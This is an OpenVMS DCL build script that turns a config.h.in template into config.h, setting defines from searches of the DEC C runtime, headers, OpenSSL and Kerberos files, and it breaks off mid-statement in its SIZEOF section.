$! $! Blank line handling $!--------------------- $ if xline .eqs. "" $ then $ write tf "" $ goto cfgh_in_loop1 $ endif $ xlen = f$length(xline) $ key = f$extract(0,2,xline) $! $! deal with comments by copying exactly $!----------------------------------------- $ if (do_comment .eq. 1) .or. (key .eqs. "/*") $ then $ do_comment = 1 $ write tf line_in $ key = f$extract(xlen - 2, 2, xline) $ if key .eqs. "*/" then do_comment = 0 $ goto cfgh_in_loop1 $ endif $! $! Some quick parsing $!---------------------- $ keyif = f$extract(0,3,xline) $ key1 = f$element(0," ",xline) $ key2 = f$element(1," ",xline) $ key2a = f$element(0,"_",key2) $ key2b = f$element(1,"_",key2) $ key2_len = f$length(key2) $ key2_h = f$extract(key2_len - 2, 2, key2) $ key2_t = f$extract(key2_len - 5, 5, key2) $ if key2_t .eqs. "_TYPE" then key2_h = "_T" $ key64 = 0 $ if f$locate("64", xline) .lt. xlen then key64 = 1 $! $!write sys$output "xline = ''xline'" $! $! Comment out this section of the ifblock $!----------------------------------------- $ if if_block .ge. 3 $ then $ write tf "/* ", xline, " */" $ if keyif .eqs. "#en" then if_block = 0 $ goto cfgh_in_loop1 $ endif $! $! Handle the end of an ifblock $!------------------------------- $ if keyif .eqs. "#en" $ then $ write tf xline $ if_block = 0 $ goto cfgh_in_loop1 $ endif $! $ if key1 .eqs. "#ifndef" $ then $! Manual check for _ALL_SOURCE on AIX error $!----------------------------------------------- $ if key2 .eqs. "_ALL_SOURCE" $ then $ write tf "/* ", xline, " */" $! $! Ignore the rest of the block $!-------------------------------------- $ if_block = 3 $ goto cfgh_in_loop1 $ endif $ endif $! $! $! Default action for an #if/#else/#endif $!------------------------------------------ $ if keyif .eqs. "#if" .or. keyif .eqs. "#el" $ then $ if_block = 1 $ write tf xline $ goto cfgh_in_loop1 $ endif $! $! $! Process "normal?" stuff $!--------------------------- $ if key1 .eqs. "#undef" $ then $ key2c = f$element(2, "_", key2) $ if (key2c .eqs. "_") .or. (key2c .eqs. "H") then key2c = "" $ key2d = f$element(3, "_", key2) $ if (key2d .eqs. "_") .or. (key2d .eqs. "H") then key2d = "" $ key2e = f$element(4, "_", key2) $ if (key2e .eqs. "_") .or. (key2e .eqs. "H") then key2e = "" $ if key2d .eqs. "T" $ then $ if key2e .eqs. "TYPE" $ then $ key2_h = "_T" $ key2d = "" $ endif $ endif $! $ double_under = 0 $! $! Process FCNTL directives $!------------------------------------- $ if (key2b .eqs. "FCNTL") .and. (key2c .eqs. "O") .and. - (key2d .eqs. "NONBLOCK") $ then $ write tf "#ifndef ''key2'" $ write tf "#define ''key2' 1" $ write tf "#endif" $ goto cfgh_in_loop1 $ endif $! $! Process GETADDRINFO directives $!------------------------------------- $ if key2 .eqs. "GETADDRINFO_THREADSAFE" $ then $ write tf "#ifndef ''key2'" $ write tf "#define ''key2' 1" $ write tf "#endif" $ goto cfgh_in_loop1 $ endif $! $! Process IOCTL directives $!------------------------------------- $ if (key2b .eqs. "IOCTL") .and. (key2c .nes. "") $ then $ if (key2c .eqs. "FIONBIO") .or. (key2c .eqs. "SIOCGIFADDR") $ then $ write tf "#ifndef ''key2'" $ write tf "#define ''key2' 1" $ write tf "#endif" $ goto cfgh_in_loop1 $ endif $ endif $! $! $! Manual check for LL on $!----------------------------------------------- $ if key2 .eqs. "LL" $ then $ write tf "#ifndef __VAX $ write tf "#define HAVE_''key2' 1" $ write tf "#endif" $ goto cfgh_in_loop1 $ endif $! $ if key2 .eqs. "bool_t" $ then $ write tf "#ifndef ''key2'" $ write tf "#define ''key2' short" $ write tf "#endif" $ goto cfgh_in_loop1 $ endif $! $ if key2 .eqs. "bits16_t" $ then $ write tf "#ifndef ''key2'" $ write tf "#define ''key2' short" $ write tf "#endif" $ goto cfgh_in_loop1 $ endif $! $ if key2 .eqs. "u_bits16_t" $ then $ write tf "#ifndef ''key2'" $ write tf "#define ''key2' unsigned short" $ write tf "#endif" $ goto cfgh_in_loop1 $ endif $! $ if key2 .eqs. "bits32_t" $ then $ write tf "#ifndef ''key2'" $ write tf "#define ''key2' int" $ write tf "#endif" $ goto cfgh_in_loop1 $ endif $! $ if key2 .eqs. "u_bits32_t" $ then $ write tf "#ifndef ''key2'" $ write tf "#define ''key2' unsigned int" $ write tf "#endif" $ goto cfgh_in_loop1 $ endif $! $ if key2 .eqs. "intmax_t" $ then $ write tf "#ifndef ''key2'" $ write tf "#ifdef __VAX" $ write tf "#define ''key2' long" $ write tf "#else" $ write tf "#define ''key2' long long" $ write tf "#endif" $ write tf "#endif" $ goto cfgh_in_loop1 $ endif $! $ if key2 .eqs. "uintmax_t" $ then $ write tf "#ifndef ''key2'" $ write tf "#ifdef __VAX" $ write tf "#define ''key2' unsigned long" $ write tf "#else" $ write tf "#define ''key2' unsigned long long" $ write tf "#endif" $ write tf "#endif" $ goto cfgh_in_loop1 $ endif $! $ if key2 .eqs. "socklen_t" $ then $ write tf "#ifndef ''key2'" $ write tf "#define ''key2' int" $ write tf "#endif" $ goto cfgh_in_loop1 $ endif $! $ if key2 .eqs. "GETGROUPS_T" $ then $ write tf "#ifndef ''key2'" $ write tf "#define ''key2' gid_t" $ write tf "#endif" $ goto cfgh_in_loop1 $ endif $! $ if key2 .eqs. "HAVE_DECL_SYS_SIGLIST" $ then $ write tf "#ifndef ''key2'" $ write tf "#define ''key2' 0" $ write tf "#endif" $ goto cfgh_in_loop1 $ endif $! $ if key2 .eqs. "HAVE_SYS_ERRLIST" $ then $ write tf "#ifndef ''key2'" $ write tf "#define ''key2' 1" $ write tf "#endif" $ goto cfgh_in_loop1 $ endif $! $ if key2 .eqs. "HAVE_STRUCT_DIRENT_D_INO" $ then $ write tf "#ifndef ''key2'" $ write tf "#define ''key2' 1" $ write tf "#endif" $ goto cfgh_in_loop1 $ endif $! $ if key2 .eqs. "HAVE_STRUCT_TIMEVAL" $ then $ write tf "#ifndef ''key2'" $ write tf "#define ''key2' 1" $ write tf "#endif" $ goto cfgh_in_loop1 $ endif $! $! ! The header files have this information, however $! ! The ioctl() call only works on sockets. $! if key2 .eqs. "FIONREAD_IN_SYS_IOCTL" $! then $! write tf "#ifndef ''key2'" $! write tf "#define ''key2' 1" $! write tf "#endif" $! goto cfgh_in_loop1 $! endif $! $! ! The header files have this information, however $! ! The ioctl() call only works on sockets. $! if key2 .eqs. "GWINSZ_IN_SYS_IOCTL" $! then $! write tf "#ifndef ''key2'" $! write tf "#define ''key2' 1" $! write tf "#endif" $! goto cfgh_in_loop1 $! endif $! $! ! The header files have this information, however $! ! The ioctl() call only works on sockets. $! if key2 .eqs. "STRUCT_WINSIZE_IN_SYS_IOCTL" $! then $! write tf "#ifndef ''key2'" $! write tf "#define ''key2' 0" $! write tf "#endif" $! goto cfgh_in_loop1 $! endif $! $ if key2 .eqs. "HAVE_STRUCT_TM_TM_ZONE" $ then $ write tf "#ifndef ''key2'" $ write tf "#define ''key2' 1" $ write tf "#endif" $ goto cfgh_in_loop1 $ endif $! $ if key2 .eqs. "HAVE_TM_ZONE" $ then $ write tf "#ifndef ''key2'" $ write tf "#define ''key2' 1" $ write tf "#endif" $ goto cfgh_in_loop1 $ endif $! $ if key2 .eqs. "HAVE_TIMEVAL" $ then $ write tf "#ifndef ''key2'" $ write tf "#define ''key2' 1" $ write tf "#endif" $ goto cfgh_in_loop1 $ endif $! $ if key2 .eqs. "WEXITSTATUS_OFFSET" $ then $ write tf "#ifndef ''key2'" $ write tf "#define ''key2' 2" $ write tf "#endif" $ goto cfgh_in_loop1 $ endif $! $ if key2 .eqs. "HAVE_GETPW_DECLS" $ then $ write tf "#ifndef ''key2'" $ write tf "#define ''key2' 1" $ write tf "#endif" $ goto cfgh_in_loop1 $ endif $! $ if key2 .eqs. "HAVE_DECL_CONFSTR" $ then $ write tf "#ifndef ''key2'" $ write tf "#define ''key2' 1" $ write tf "#endif" $ goto cfgh_in_loop1 $ endif $! $ if key2 .eqs. "HAVE_DECL_PRINTF" $ then $ write tf "#ifndef ''key2'" $ write tf "#define ''key2' 1" $ write tf "#endif" $ goto cfgh_in_loop1 $ endif $! $ if key2 .eqs. "HAVE_DECL_SBRK" $ then $ write tf "#ifndef ''key2'" $ write tf "#define ''key2' 1" $ write tf "#endif" $ goto cfgh_in_loop1 $ endif $! $ if key2 .eqs. "HAVE_DECL_STRSIGNAL" $ then $ write tf "#ifndef ''key2'" $ write tf "#define ''key2' 0" $ write tf "#endif" $ goto cfgh_in_loop1 $ endif $! $ if key2a .eqs. "HAVE_DECL_STRTOLD" $ then $ write tf "#ifndef ''key2'" $ write tf "#define ''key2' 0" $ write tf "#endif" $ goto cfgh_in_loop1 $ endif $! $ if key2 .eqs. "HAVE_DECL_STRTOIMAX" $ then $ write tf "#ifndef ''key2'" $ write tf "#define ''key2' 0" $ write tf "#endif" $ goto cfgh_in_loop1 $ endif $! $ if key2 .eqs. "HAVE_DECL_STRTOL" $ then $ write tf "#ifndef ''key2'" $ write tf "#define ''key2' 1" $ write tf "#endif" $ goto cfgh_in_loop1 $ endif $! $ if key2 .eqs. "HAVE_DECL_STRTOLL" $ then $ write tf "#ifndef ''key2'" $ write tf "#define ''key2' 1" $ write tf "#endif" $ goto cfgh_in_loop1 $ endif $! $ if key2 .eqs. "HAVE_DECL_STRTOUL" $ then $ write tf "#ifndef ''key2'" $ write tf "#define ''key2' 1" $ write tf "#endif" $ goto cfgh_in_loop1 $ endif $! $ if key2 .eqs. "HAVE_DECL_STRTOULL" $ then $ write tf "#ifndef ''key2'" $ write tf "#define ''key2' 1" $ write tf "#endif" $ goto cfgh_in_loop1 $ endif $! $ if key2 .eqs. "HAVE_DECL_STRTOUMAX" $ then $ write tf "#ifndef ''key2'" $ write tf "#define ''key2' 0" $ write tf "#endif" $ goto cfgh_in_loop1 $ endif $! $ if key2 .eqs. "GETPGRP_VOID" $ then $ write tf "#ifndef ''key2'" $ write tf "#define ''key2' 1" $ write tf "#endif" $ goto cfgh_in_loop1 $ endif $! $ if key2 .eqs. "NAMED_PIPES_MISSING" $ then $ write tf "#ifndef ''key2'" $ write tf "#define ''key2' 1" $ write tf "#endif" $ goto cfgh_in_loop1 $ endif $! $ if key2 .eqs. "OPENDIR_NOT_ROBUST" $ then $ write tf "#ifndef ''key2'" $ write tf "#define ''key2' 1" $ write tf "#endif" $ goto cfgh_in_loop1 $ endif $! $ if key2 .eqs. "PGRP_PIPE" $ then $ write tf "#ifndef ''key2'" $ write tf "#define ''key2' 1" $ write tf "#endif" $ goto cfgh_in_loop1 $ endif $! $ if key2 .eqs. "CAN_REDEFINE_GETENV" $ then $ write tf "#ifndef ''key2'" $ write tf "#define ''key2' 1" $ write tf "#endif" $ goto cfgh_in_loop1 $ endif $! $ if key2 .eqs. "HAVE_PRINTF_A_FORMAT" $ then $ write tf "#ifndef ''key2'" $ write tf "#define ''key2' 1" $ write tf "#endif" $ goto cfgh_in_loop1 $ endif $! $ if key2 .eqs. "CTYPE_NON_ASCII" $ then $ write tf "#ifndef ''key2'" $ write tf "#define ''key2' 1" $ write tf "#endif" $ goto cfgh_in_loop1 $ endif $! $ if key2 .eqs. "HAVE_LANGINFO_CODESET" $ then $ write tf "#ifndef ''key2'" $ write tf "#define ''key2' 0" $ write tf "#endif" $ goto cfgh_in_loop1 $ endif $! $! This wants execve() to do this automagically to pass. $! if key2 .eqs. "HAVE_HASH_BANG_EXEC" $! then $! write tf "#ifndef ''key2'" $! write tf "#define ''key2' 1" $! write tf "#endif" $! goto cfgh_in_loop1 $! endif $! $ if key2 .eqs. "ICONV_CONST" $ then $ write tf "#ifndef ''key2'" $ write tf "#define ''key2'" $ write tf "#endif" $ goto cfgh_in_loop1 $ endif $! $ if key2 .eqs. "VOID_SIGHANDLER" $ then $ write tf "#ifndef ''key2'" $ write tf "#define ''key2' 1" $ write tf "#endif" $ goto cfgh_in_loop1 $ endif $! $ if key2 .eqs. "HAVE_POSIX_SIGNALS" $ then $ write tf "#ifndef ''key2'" $ write tf "#define ''key2' 1" $ write tf "#endif" $ goto cfgh_in_loop1 $ endif $! $ if key2 .eqs. "UNUSABLE_RT_SIGNALS" $ then $ write tf "#ifndef ''key2'" $ write tf "#define ''key2' 1" $ write tf "#endif" $ goto cfgh_in_loop1 $ endif $! $ if key2a .eqs. "HAVE_DECL_FPURGE" $ then $ write tf "#ifndef ''key2a'" $ write tf "#define ''key2a' 1" $ write tf "#endif" $ goto cfgh_in_loop1 $ endif $! $ if key2 .eqs. "HAVE_DECL_SETREGID" $ then $ write tf "#ifndef ''key2'" $ write tf "#define ''key2' 1" $ write tf "#endif" $ goto cfgh_in_loop1 $ endif $! $ if key2 .eqs. "HAVE_POSIX_SIGSETJMP" $ then $ write tf "#ifndef ''key2'" $ write tf "#define ''key2' 1" $ write tf "#endif" $ goto cfgh_in_loop1 $ endif $! $ if key2 .eqs. "HAVE_LIBDL" $ then $ write tf "#ifndef ''key2'" $ write tf "#define ''key2' 1" $ write tf "#endif" $ goto cfgh_in_loop1 $ endif $! $ if key2b .eqs. "RAND" .and. key2c .nes. "" .and. key2d .eqs. "" $ then $ if (key2c .eqs. "EGD") .or. - (key2c .eqs. "STATUS") .or. - (key2c .eqs. "SCREEN") $ then $ if f$search("''ssl_header_dir'rand.h") .nes. "" $ then $ write tf "#ifndef ''key2'" $ write tf "#define ''key2' 1" $ write tf "#endif" $ else $ write tf "/* #undef ''key2' */" $ endif $ endif $ endif $! $ if key2 .eqs. "STRCOLL_BROKEN" $ then $ write tf "#ifndef ''key2'" $ write tf "#define ''key2' 1" $ write tf "#endif" $ goto cfgh_in_loop1 $ endif $! $ if key2 .eqs. "DUP_BROKEN" $ then $ write tf "#ifndef ''key2'" $ write tf "#define ''key2' 1" $ write tf "#endif" $ goto cfgh_in_loop1 $ endif $! $! This is for a test that getcwd(0,0) works. $! It does not on VMS. $!-------------------------- $ if key2 .eqs. "GETCWD_BROKEN" $ then $ write sys$output "" $ write sys$output - "%CONFIG_H-I-NONPORT, ''key2' being tested for!" $ write sys$output - "-CONFIG_H-I-GETCWD, GETCWD(0,0) does not work on VMS." $ write sys$output - "-CONFIG_H-I-GETCWD2, Work around hack probably required." $ write sys$output - "-CONFIG_H-I-REVIEW, Manual Code review required!" $ if update_config_vms $ then $ open/append tfcv sys$disk:[]config_vms.h $ write tfcv "" $ write tfcv - "/* Check config.h for use of ''key2' settings */" $ write tfcv "" $ close tfcv $ endif $ $ goto cfgh_in_loop1 $ endif $! $ if (key2a .eqs. "HAVE") .or. (key2a .eqs. "STAT") .or. - (key2 .eqs. "ENABLE_IPV6") .or. (key2b .eqs. "LDAP") $ then $! $! Process extra underscores $!------------------------------------ $ if f$locate("HAVE___", key2) .lt. key2_len $ then $ key2b = "__" + key2d $ key2d = "" $ double_under = 1 $ else $ if f$locate("HAVE__", key2) .lt. key2_len $ then $ key2b = "_" + key2c $ key2c = "" $ double_under = 1 $ endif $ endif $! $ if (key2_h .eqs. "_H") .or. (key2 .eqs. "ENABLE_IPV6") .or. - (key2b .eqs. "LDAP") $ then $! $! Looking for a header file $!--------------------------------------- $ headf = key2b $ if key2c .nes. "" then headf = headf + "_" + key2c $ if key2d .nes. "" then headf = headf + "_" + key2d $! $! (key2b .eqs. "READLINE") $! $! Some special parsing $!------------------------------------------ $ if (key2b .eqs. "SYS") .or. (key2b .eqs. "ARPA") .or. - (key2b .eqs. "NET") .or. (key2b .eqs. "NETINET") $ then $ if key2c .nes. "" $ then $ headf = key2c $ if key2d .nes. "" then headf = key2c + "_" + key2d $ endif $ endif $! $! And of course what's life with out some special cases $!-------------------------------------------------------------------- $ if key2 .eqs. "ENABLE_IPV6" $ then $ headf = "in6" $ endif $! $ if key2b .eqs. "LDAP" $ then $ if (key2 .eqs. "HAVE_LDAP_SSL") .or. - (key2 .eqs. "HAVE_LDAP_URL_PARSE") $ then $ headf = "ldap" $ endif $ endif $! $! $ if key2b .eqs. "FILE" $ then $ write sys$output "" $ write sys$output - "%CONFIG_H-I-NONPORT, ''key2' being asked for!" $ write sys$output - "-CONFIG_H-I-FILE_OLD, file.h will not be configured as is obsolete!" $ write sys$output - "-CONFIG_H_I-FCNTL_NEW, "Expecting fcntl.h to be configured instead!" $ write sys$output - "-CONFIG_H_I-FCNTL_CHK, "Unable to verify at this time!" $ write sys$output - "-CONFIG_H-I-REVIEW, Manual Code review required!" $! $ if update_config_vms $ then $ open/append tfcv sys$disk:[]config_vms.h $ write tfcv "" $ write tfcv - "/* Check config.h for use of fcntl.h instead of file.h */" $ write tfcv "" $ close tfcv $ endif $ endif $! $! Now look it up in the DEC C RTL $!--------------------------------------------- $ define/user sys$output nl: $ define/user sys$error nl: $ search/output=nl: 'dchfile' |'headf'|/exact $ if '$severity' .eq. 1 $ then $ if key64 then write tf "#ifndef __VAX" $ write tf "#ifndef ''key2'" $ write tf "#define ''key2' 1" $if p2 .nes. "" then write sys$output "''dchfile' - #define ''key2' 1" $ write tf "#endif" $ if key64 then write tf "#endif" $set nover $ goto cfgh_in_loop1 $ endif $! $! $! Now look it up in the DEC C STARLET_C $!--------------------------------------------- $ define/user sys$output nl: $ define/user sys$error nl: $ search/output=nl: 'starhfile' |'headf'|/exact $ if '$severity' .eq. 1 $ then $ if key64 then write tf "#ifndef __VAX" $ write tf "#ifndef ''key2'" $ write tf "#define ''key2' 1" $if p2 .nes. "" then write sys$output "''starfile' - #define ''key2' 1" $ write tf "#endif" $ if key64 then write tf "#endif" $set nover $ goto cfgh_in_loop1 $ endif $! $! Now look for OPENSSL headers $!--------------------------------------------------------- $ if key2b .eqs. "OPENSSL" $ then $ headf = headf - "OPENSSL_" $ header = f$search("''ssl_header_dir'''headf'.h") $ if header .nes. "" $ then $ write tf "#ifndef ''key2'" $ write tf "#define ''key2' 1" $ write tf "#endif" $set nover $ goto cfgh_in_loop1 $ endif $ endif $! $! Now look for Kerberos $!------------------------------------------------------------ $ if key2b .eqs. "GSSAPI" $ then $ header_dir = "sys$sysroot:[kerberos.include]" $ headf = headf - "GSSAPI_" $ header = f$search("''header_dir'''headf'.h") $ if header .nes. "" $ then $ write tf "#ifndef ''key2'" $ write tf "#define ''key2' 1" $ write tf "#endif" $set nover $ goto cfgh_in_loop1 $ endif $ endif $! $set nover $ else $! $! Looking for a routine or a symbol $!------------------------------------------------ $ if key2c .eqs. "MACRO" $ then $ if (key2b .eqs. "FILE") .or. (key2b .eqs. "DATE") - .or. (key2b .eqs. "LINE") .or. (key2b .eqs. "TIME") $ then $ write tf "#ifndef HAVE_''key2b'" $ write tf "#define HAVE_''key2b' 1" $ write tf "#endif" $ endif $ goto cfgh_in_loop1 $ endif $! $! Special false tests $!------------------------------------- $ if double_under $ then $ if key2b .eqs. "_FCNTL" .or. key2b .eqs. "__FCNTL" $ then $ write tf "/* #undef HAVE_''key2b' */" $ goto cfgh_in_loop1 $ endif $! $ if key2b .eqs. "_STAT" .or. key2b .eqs. "__STAT" $ then $ write tf "/* #undef HAVE_''key2b' */" $ goto cfgh_in_loop1 $ endif $! $ if key2b .eqs. "_READ" .or. key2b .eqs. "__READ" $ then $ write tf "/* #undef HAVE_''key2b' */" $ goto cfgh_in_loop1 $ endif $ endif $! $ keysym = key2b $ if key2c .nes. "" then keysym = keysym + "_" + key2c $ if key2d .nes. "" then keysym = keysym + "_" + key2d $ if key2e .nes. "" then keysym = keysym + "_" + key2e $! $! $! Stat structure members $!------------------------------------- $ if key2b .eqs. "STRUCT" $ then $ if key2c .eqs. "STAT" .and (key2d .nes. "") $ then $ key2b = key2b + "_" + key2c + "_" + key2d $ key2c = key2e $ key2d = "" $ key2e = "" $ endif $ endif $ if (key2b .eqs. "ST") .or. (key2b .eqs. "STRUCT_STAT_ST") $ then $ keysym = "ST" + "_" + key2c $ keysym = f$edit(keysym,"LOWERCASE") $ endif $ if key2a .eqs. "STAT" $ then $ if (f$locate("STATVFS", key2b) .eq. 0) .and. key2c .eqs. "" $ then $ keysym = f$edit(key2b, "LOWERCASE") $ endif $!$ if (key2b .eqs. "STATVFS" .or. key2b .eqs. "STATFS2" - $! .or. key2b .eqs. "STATFS3") .and. key2c .nes. "" $! $ if (key2b .eqs. "STATVFS") .and. key2c .nes. "" $ then $! Should really verify that the structure $! named by key2b actually exists first. $!------------------------------------------------------------ $! $! Statvfs structure members $!------------------------------------------------- $ keysym = "f_" + f$edit(key2c,"LOWERCASE") $ endif $ endif $! $! UTMPX structure members $!-------------------------------------- $ if key2b .eqs. "UT" .and. key2c .eqs. "UT" $ then $ keysym = "ut_" + f$edit(key2d,"LOWERCASE") $ endif $! $ if f$locate("MMAP",key2) .lt. key2_len $ then $ write sys$output "" $ write sys$output - "%CONFIG_H-I-NONPORT, ''key2' being asked for!" $ write sys$output - "-CONFIG_H-I-MMAP, MMAP operations only work on STREAM and BINARY files!" $ write sys$output - "-CONFIG_H-I-REVIEW, Manual Code review required!" $ if update_config_vms $ then $ open/append tfcv sys$disk:[]config_vms.h $ write tfcv "" $ write tfcv - "/* Check config.h for use of ''key2' settings */" $ write tfcv "" $ close tfcv $ endif $ endif $! $! $ if keysym .eqs. "CRYPT" $ then $ write sys$output "" $ write sys$output - "%CONFIG_H-I-NONPORT, ''key2' being asked for!" $ write sys$output - "-CONFIG_H-I-CRYPT, CRYPT operations on the VMS SYSUAF may not work!" $ write sys$output - "-CONFIG_H-I-REVIEW, Manual Code review required!" $ if update_config_vms $ then $ open/append tfcv sys$disk:[]config_vms.h $ write tfcv "" $ write tfcv - "/* Check config.h for use of ''keysym' */" $ write tfcv "" $ close tfcv $ endif $ endif $! $! $ if keysym .eqs. "EXECL" $ then $ write sys$output "" $ write sys$output - "%CONFIG_H-I-NONPORT, ''key2' being asked for!" $ write sys$output - "-CONFIG_H-I-EXCEL, EXECL configured, Will probably not work." $ write sys$output - "-CONFIG_H-I-REVIEW, Manual Code review required!" $ if update_config_vms $ then $ open/append tfcv sys$disk:[]config_vms.h $ write tfcv "" $ write tfcv - "/* Check config.h for use of ''keysym' */" $ write tfcv "" $ close tfcv $ endif $ endif $! $! $! Process if cpp supports ANSI-C stringizing '#' operator $!----------------------------------------------------------------------- $ if keysym .eqs. "STRINGIZE" $ then $ write tf "#ifndef HAVE_STRINGIZE" $ write tf "#define HAVE_STRINGSIZE 1" $ write tf "#endif" $ goto cfgh_in_loop1 $ endif $! $ if keysym .eqs. "VOLATILE" $ then $ write tf "#ifndef HAVE_VOLATILE" $ write tf "#define HAVE_VOLATILE 1" $ write tf "#endif" $ goto cfgh_in_loop1 $ endif $! $ if keysym .eqs. "ALLOCA" $ then $ write tf "#ifndef HAVE_ALLOCA" $ write tf "#define HAVE_ALLOCA 1" $ write tf "#endif" $ goto cfgh_in_loop1 $ endif $! $ if keysym .eqs. "ERRNO_DECL" $ then $ write tf "#ifndef HAVE_ERRNO_DECL" $ write tf "#define HAVE_ERRNO_DECL 1" $ write tf "#endif" $ goto cfgh_in_loop1 $ endif $! $ if keysym .eqs. "LONGLONG" $ then $ write tf "#ifndef __VAX" $ write tf "#pragma message disable longlongtype" $ write tf "#ifndef HAVE_LONGLONG" $ write tf "#define HAVE_LONGLONG 1" $ write tf "#endif" $ write tf "#endif" $ goto cfgh_in_loop1 $ endif $! $! May need to test compiler version $!----------------------------------------------- $ if keysym .eqs. "LONG_LONG" $ then $ write tf "#ifndef __VAX" $ write tf "#pragma message disable longlongtype" $ write tf "#ifndef HAVE_LONG_LONG" $ write tf "#define HAVE_LONG_LONG 1" $ write tf "#endif" $ write tf "#endif" $ goto cfgh_in_loop1 $ endif $! $! May need to test compiler version $!----------------------------------------------- $ if keysym .eqs. "UNSIGNED_LONG_LONG" $ then $ write tf "#ifndef __VAX" $ write tf "#pragma message disable longlongtype" $ write tf "#ifndef HAVE_UNSIGNED_LONG_LONG" $ write tf "#define HAVE_UNSIGNED_LONG_LONG 1" $ write tf "#endif" $ write tf "#endif" $ goto cfgh_in_loop1 $ endif $! $! May need to test compiler version $!----------------------------------------------- $ if keysym .eqs. "UNSIGNED_LONG_LONG_INT" $ then $ write tf "#ifndef __VAX" $ write tf "#pragma message disable longlongtype" $ write tf "#ifndef HAVE_UNSIGNED_LONG_LONG_INT" $ write tf "#define HAVE_UNSIGNED_LONG_LONG_INT 1" $ write tf "#endif" $ write tf "#endif" $ goto cfgh_in_loop1 $ endif $! $! May need to test compiler version $!----------------------------------------------- $ if keysym .eqs. "LONG_DOUBLE" $ then $ write tf "#ifndef __VAX" $ write tf "#pragma message disable longlongtype" $ write tf "#ifndef HAVE_LONG_DOUBLE" $ write tf "#define HAVE_LONG_DOUBLE 1" $ write tf "#endif" $ write tf "#endif" $ goto cfgh_in_loop1 $ endif $! $ if keysym .eqs. "FCNTL_LOCK" $ then $ write sys$output - "%CONFIG_H-I-NONPORT, ''key2' being asked for! $ write sys$output - "-CONFIG_H-I-REVIEW, Manual Code review required!" $ goto cfgh_in_loop1 $ endif $! $! $! These libraries are provided by the DEC C RTL $!------------------------------------------------------------- $ if keysym .eqs. "LIBINET" .or. keysym .eqs. "LIBSOCKET" $ then $ write tf "#ifndef HAVE_''keysym'" $ write tf "#define HAVE_''keysym' 1" $if p2 .nes. "" then write sys$output "''decc_shr' #define ''keysym' 1" $ write tf "#endif $ goto cfgh_in_loop1 $ endif $! $ if keysym .eqs. "HERRNO" then keysym = "h_errno" $ if keysym .eqs. "UTIMBUF" then keysym = "utimbuf" $ if key2c .eqs. "STRUCT" $ then $ keysym = f$edit(key2d,"LOWERCASE") $ else $ if key2_h .eqs. "_T" $ then $ if key2_t .eqs. "_TYPE" $ then $ keysym = f$extract(0, key2_len - 5, key2) - "HAVE_" $ endif $ keysym = f$edit(keysym,"LOWERCASE") $ endif $ endif $! $! Check the DEC C RTL shared image first $!------------------------------------------------------ $ if f$search(tfile1) .nes. "" then delete 'tfile1';* $ define/user sys$output nl: $ define/user sys$error nl: $ search/format=nonull/out='tfile1' 'decc_shr' 'keysym' $ if '$severity' .eq. 1 $ then $! $! Not documented, but from observation $!------------------------------------------------------ $ define/user sys$output nl: $ define/user sys$error nl: $ if arch_type .eq. 3 $ then $ keyterm = "''keysym'<SOH>" $ else $ if arch_type .eq. 2 $ then $ keyterm = "''keysym'<BS>" $ else $ keyterm = "''keysym'<STX>" $ endif $ endif $ search/out=nl: 'tfile1' - "$''keyterm'","$g''keyterm'","$__utc_''keyterm'",- "$__utctz_''keyterm'","$__bsd44_''keyterm'","$bsd_''keyterm'",- "$''keysym'decc$","$G''keysym'decc$","$GX''keyterm'" $ severity = '$severity' $! $! $! Of course the 64 bit stuff is different $!--------------------------------------------------------- $ if severity .ne. 1 .and. key64 $ then $ define/user sys$output nl: $ define/user sys$error nl: $ search/out=nl: 'tfile1' "$_''keyterm'" $! search/out 'tfile1' "$_''keyterm'" $ severity = '$severity' $ endif $! $! Unix compatibility routines $!--------------------------------------------- $ if severity .ne. 1 $ then $ define/user sys$output nl: $ define/user sys$error nl: $ search/out=nl: 'tfile1' - "$__unix_''keyterm'","$__vms_''keyterm'","$_posix_''keyterm'" $ severity = '$severity' $ endif $! $! Show the result of the search $!------------------------------------------------ $ if 'severity' .eq. 1 $ then $ if key64 then write tf "#ifndef __VAX" $ write tf "#ifndef ''key2'" $ write tf "#define ''key2' 1" $if p2 .nes. "" then write sys$output "''decc_shr' #define ''key2' 1" $ write tf "#endif" $ if key64 then write tf "#endif" $ goto cfgh_in_loop1 $ endif $ endif $ if f$search(tfile1) .nes. "" then delete 'tfile1';* $! $! Check the DECC Header files next $!---------------------------------------------- $ define/user sys$output nl: $ define/user sys$error nl: $ search/out=nl: 'decc_rtldef' - "''keysym';", "''keysym'[", "struct ''keysym'"/exact $ severity = '$severity' $ if severity .eq. 1 $ then $ if key64 then write tf "#ifndef __VAX" $ write tf "#ifndef ''key2'" $ write tf "#define ''key2' 1" $if p2 .nes. "" then write sys$output "''decc_rtldef' #define ''key2' 1" $ write tf "#endif" $ if key64 then write tf "#endif" $ goto cfgh_in_loop1 $ endif $! $! Check kerberos $!-------------------------------------------- $ if f$search("SYS$SYSROOT:[kerberos]include.dir") .nes. "" $ then $ test_mit = "SYS$SYSROOT:[kerberos.include]gssapi_krb5.h" $ if (key2 .eqs. "HAVE_GSSAPI") $ then $ write tf "#ifndef ''key2'" $ write tf "#define ''key2' 1" $ write tf "#endif" $ goto cfgh_in_loop1 $ endif $! $! This is really do we have the newer MIT Kerberos $!---------------------------------------------------------------------- $ if (key2 .eqs. "HAVE_GSSMIT") $ then $ if f$search(test_mit) .nes. "" $ then $ write tf "#ifndef ''key2'" $ write tf "#define ''key2' 1" $ else $ write tf "#ifdef ''key2'" $ write tf "#undef ''key2'" $ endif $ write tf "#endif" $ goto cfgh_in_loop1 $ endif $! $! Older MIT looks like Heimdal $!------------------------------------------------ $ if (key2 .eqs. "HAVE_HEIMDAL") $ then $ if f$search(test_mit) .eqs. "" $ then $ write tf "#ifndef ''key2'" $ write tf "#define ''key2' 1" $ else $ write tf "#ifdef ''key2'" $ write tf "#undef ''key2'" $ endif $ write tf "#endif" $ goto cfgh_in_loop1 $ endif $ endif $! $ endif $ write tf "/* ", xline, " */" $ goto cfgh_in_loop1 $ endif $! $! $! Process SIZEOF directives found in SAMBA and others $!---------------------------------------------------------- $ if key2a .eqs. "SIZEOF" $ then $ if key2b .eqs. "INO" .and. key2_h .eqs. "_T" $ then $ write tf "#ifndef SIZEOF_INO_T" $ write tf "#if !__USING_STD_STAT $ write tf "#define SIZEOF_INO_T 6" $ write tf "#else $ write tf "#define SIZEOF_INO_T 8" $ write tf "#endif $ write tf "#endif" $ goto cfgh_in_loop1 $ endif $ if key2b .eqs. "INTMAX" .and. key2_h .eqs. "_T" $ then $ write tf "#ifndef SIZEOF_INTMAX_T" $ write tf "#ifdef __VAX" $ write tf "#define 